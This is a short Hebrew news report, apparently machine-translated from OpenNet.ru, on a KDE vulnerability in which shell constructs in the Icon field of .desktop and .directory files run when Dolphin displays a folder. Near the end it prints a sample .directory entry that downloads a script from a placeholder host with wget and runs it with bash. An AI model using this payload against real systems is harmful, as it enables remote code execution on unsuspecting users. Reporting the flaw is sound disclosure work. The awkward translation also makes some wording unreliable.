פגיעות של ביצוע קוד של KDE בעת צפייה ברשימת קבצים

ב-KDE מזוהה פגיעות, המאפשר לתוקף לבצע פקודות שרירותיות כאשר משתמש צופה בספרייה או בארכיון המכילים קבצי ".desktop" ו-".directory" שתוכננו במיוחד. התקפה דורשת מהמשתמש פשוט להציג רשימה של קבצים במנהל הקבצים של Dolphin, להוריד קובץ שולחן עבודה זדוני או לגרור קיצור דרך לשולחן העבודה או למסמך. הבעיה מתבטאת במהדורה הנוכחית של ספריות מסגרות KDE 5.60.0 וגרסאות ישנות יותר, עד KDE 4. הפגיעות עדיין עדיין שְׂרִידִים לא מתוקן (CVE לא הוקצה).

הבעיה נגרמת על ידי יישום שגוי של המחלקה KDesktopFile, אשר, בעת עיבוד המשתנה "Icon", ללא בריחה מתאימה, מעבירה את הערך לפונקציה KConfigPrivate::expandString() אשר מבצעת הרחבה של תווים מיוחדים של מעטפת, כולל עיבוד המחרוזות "$(..)" כפקודות לביצוע . בניגוד לדרישות מפרט XDG, יישום חשיפה מיוצרים מבני מעטפת מבלי להפריד בין סוג ההגדרות, כלומר. לא רק בעת קביעת שורת הפקודה של היישום שיופעל, אלא גם בעת ציון הסמלים המוצגים כברירת מחדל.

למשל לתקוף הוא מספיק שלח למשתמש ארכיון zip עם ספרייה המכילה קובץ ".directory" כמו:

[כניסה לשולחן העבודה] סוג=ספרייה
סמל[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

כאשר אתה מנסה להציג את תוכן הארכיון במנהל הקבצים של Dolphin, הסקריפט https://example.com/FILENAME.sh יוריד ויבוצע.

מקור: OpenNet.ru